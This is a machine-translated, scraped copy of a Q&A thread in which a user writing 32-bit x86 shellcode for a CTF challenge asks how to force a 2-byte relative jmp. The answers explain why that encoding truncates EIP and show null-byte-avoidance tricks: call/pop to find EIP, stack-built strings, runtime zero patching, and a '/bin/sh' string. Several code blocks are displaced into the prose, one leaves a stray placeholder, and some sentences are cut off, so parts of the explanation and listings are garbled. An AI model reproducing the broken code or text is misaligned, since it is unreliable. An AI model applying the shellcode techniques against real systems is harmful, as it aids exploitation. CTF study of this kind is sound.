GAS汇编程序不使用2字节相对JMP位移编码(仅1字节或4字节)

时间:2018-05-15 01:32:12

标签: assembly x86 gas shellcode machine-code

我正在尝试为不允许0x00字节的CTF质询编写shellcode(它将被解释为终结符)。由于挑战的限制,我必须做这样的事情:

[shellcode bulk]
[(0x514 - sizeof(shellcode bulk)) filler bytes]
[fixed constant data to overwrite global symbols]
[shellcode data]

它看起来像这样

.intel_syntax noprefix
.code32

shellcode:
    jmp sc_data

shellcode_main:
    #open
    xor eax, eax
    pop ebx         //file string
    xor ecx, ecx    //flags
    xor edx, edx    //mode
    mov al, 5       //sys_OPEN
    int 0x80

    ...  // more shellcode

.org 514, 0x41     // filler bytes
.long 0xffffffff   // bss constant overwrite

sc_data:
    call shellcode_main
    .asciz "/path/to/fs/file"

如果sc_datashellcode的127个字节以内,则效果很好。在这种情况下,汇编程序(GAS)将输出格式的短跳转:

Opcode  Mnemonic
EB cb   JMP rel8

但是,由于我有一个严格的限制,我需要0x514字节的批量shellcode和填充字节,这个相对偏移将至少需要2个字节。这将工作,因为jmp指令有一个2字节的相对编码:

Opcode  Mnemonic
E9 cw   JMP rel16

不幸的是,GAS不输出此编码。而是使用4字节偏移编码:

Opcode  Mnemonic
E9 cd   JMP rel32

这导致两个MSB字节的零。类似于:

e9 01 02 00 00

我的问题是:GAS是否可以强制输出jmp指令的2字节变体?我玩弄了多个较小的1字节jmp s,但是GAS继续输出4字节变体。我还尝试使用-Os调用GCC来优化大小,但它坚持使用4字节相对偏移编码。

英特尔跳转操作码定义here以供参考。

1 个答案:

答案 0 :(得分:4)

jmp rel16仅可编码,操作数大小为16,将EIP截断为16位。 (编码在32位和64位模式下需要66操作数大小的前缀。正如您链接的指令集引用中所述,或in this more up-to-date PDF->HTML conversion of Intel's manualjmp在操作数大小为16时执行EIP ← tempEIP AND 0000FFFFH;。这就是为什么汇编程序从不使用它,除非您手动请求它< sup> 1 ,为什么你不能在32或64位代码中使用jmp rel16 ,除非在非常特殊的情况下,目标被映射到低64kiB的虚拟地址空间 2

避免jmp rel32

您只是向前跳,这样您就可以使用call rel32来推送数据的地址,并且因为您需要将数据一直放在长填充有效负载的末尾。

您可以使用push imm32/imm8/regmov ebx, esp 在堆栈上构建字符串。 (您已经有一个归零寄存器,可以推送终止零字节)。

如果您不想在堆栈上构建数据,而是使用属于有效负载一部分的数据,请使用与位置无关的代码/相对寻址。 也许您在寄存器中有一个值,它是已知的EIP偏移,例如如果您的漏洞利用代码是通过 jmp esp或其他ret-2-reg攻击达到的。在这种情况下,你可能只能 mov ecx, 0x12345678 / shr ecx, 16 / lea ebx, [esp+ecx]

或者,如果您必须使用NOP雪橇和您不知道EIP相对于任何寄存器值的确切值,您可以获得EIP的当前值{{1带负位移的指令。 向前跳过call目标,然后call向后跳转。您可以在call之后立即放置数据。 (但是避免数据中的零字节是不方便的;一旦你得到指针就可以存储一些。)

call

在64位代码中,它更容易:

 # Position-independent 32-bit code to find EIP
 # and get label addresses into registers
 # and insert zeros into data that we jumped over.

               jmp  .Lcall

.Lget_eip:
               pop   ebx
               jmp   .Lafter_call       # jmp rel8
.Lcall:        call  .Lget_eip          # backward rel32 = 0xffffff??
          # execution never returns here
   .Lmsg:   .ascii "/path/to/fs/file/"    # last byte to be overwritten
   msglen = . - .Lmsg
   .Loffset_data2: .long .Ldata2 - .Lmsg   # relative offset to other data, or make this a 16-bit int to avoid zeros
               # max data size 127 - 5 bytes

.Lafter_call:
               # EBX = OFFSET .Lmsg just from the call + pop
               # Insert a zero at runtime because the data wasn't at the end of the payload
               mov  byte ptr [ebx+ msglen - 1], al   # with al=0


               # ESI = OFFSET .Ldata2 using an offset loaded from memory
               mov  esi, ebx
               add  esi, [ebx + .Loffset_data2 - .Lmsg]   # [ebx + disp8]

               # with an immediate displacement, avoiding zero bytes
               mov  ecx, ((.Ldata3 - .Lmsg) << 17) | 0xffff
               shr  ecx, 17                # choose shift count to avoid high zeros
               lea  edi, [ebx + ecx]       # edi = OFFSET .Ldata3

               # if disp8 doesn't work but 8 * disp8 does: small code size
               push  (.Ldata3 - .Lmsg)>>8   # push imm8
               pop   ecx
               lea   edi, [ebx + ecx*8 + (.Ldata3 - .Lmsg)&7]  # disp8 of the low 3 bits

           ...

  # at the end of your payload
  .Ldata2:
    whatever you want, arbitrary size

  .Ldata3:

或者使用RIP相对LEA获取标签地址,并使用一些零避免方法向其添加一个立即数,以获取有效负载末尾的标签地址。

 # In 64-bit code

     jmp  .Lafter_data
 .Lmsg1:   .ascii "/foo/bar/"    # last bytes to be replaced
 .Lmsg2:   .ascii "/bin/sh/"
 .Lafter_data:
     lea  rdi, [RIP + .Lmsg1]            # negative rel32 
     lea  rsi, [rdi + .Lmsg2 - .Lmsg1]   # disp8
     xor  eax,eax
     mov  byte ptr [rsi - 1], al         # insert zeros
     mov  byte ptr [rsi + len], al

如果你真的需要跳远,而不仅仅是与位置无关的远程“静态”数据寻址。

一连串短暂的前锋跳跃将起作用。

或使用上述任何方法在寄存器中查找后续标签的地址,并使用 .Lbase: lea rdi, [RIP + .Lbase] xor ecx,ecx mov cx, .Lpath - .Lbase add rdi, rcx # RDI = .Lpath address ... syscall ... # more than 128 bytes .Lpath: .asciz "/foo/bar"

保存代码字节:

在您的情况下,保存代码大小并不能帮助您避免长跳跃位移,但可能会对其他人有所帮助:

您可以使用这些Tips for golfing in x86/x64 machine code保存代码字节:

  • jmp eax / xor eax,eaxcdq相比节省1个字节。
  • xor edx,edx / xor ecx, ecx将4个字节中的三个寄存器归零(ECX和EDX:EAX)
  • 实际上,您mul ecx设置的最佳选择可能是 int 0x80(2B)/ xor ecx,ecx(3B)/ lea eax, [ecx+5](1B),根本不使用cdq。如果你有另一个具有已知值的寄存器,你可以使用mov al,5 / push imm8将任意小常量放在寄存器中,或者只用一个pop放入寄存器。

脚注1:要求汇编程序在16位模式之外编码lea

NASM(16,32或64位模式)

jmp rel16

AT&amp; T语法:

addr: ; times 256 db 0 ; padding to make it jump farther. o16 jmp near addr ; force 16-bit operand-size and near (not short) displacement 将其解码为objdump -d:对于上面组装成32位静态ELF二进制文件的NASM源,jmpw显示了EIP的截断:

objdump -drwC foo

但GAS似乎认为助记符仅用于间接跳转(这意味着16位负载)。 (0000000000400080 <addr>: 400080: 66 e9 fc ff jmpw 80 <addr-0x400000> )和此GAS来源:foo.S:5: Warning: indirect jmp without '*'为您提供

.org 1024; addr: .zero 128; jmpw addr

脚注2:您不能在32/64位代码中使用480: 66 ff 25 00 04 00 00 jmpw *0x400 483: R_386_32 .text ,除非您攻击映射在虚拟地址空间低64kiB中的某些代码,例如:也许在DOSEMU或WINE下运行的东西。 Linux /proc/sys/vm/mmap_min_addr的默认设置是65536,而不是0,所以通常没有jmp rel16内存,即使你想要,或者可能通过ELF程序加载器在该地址加载其文本段。 (所以NULL指针解除引用偏移段错误而不是静默访问内存)。您可以确定您的CTF目标不会与EIP = IP一起运行,并且将EIP截断为IP只会出现段错误。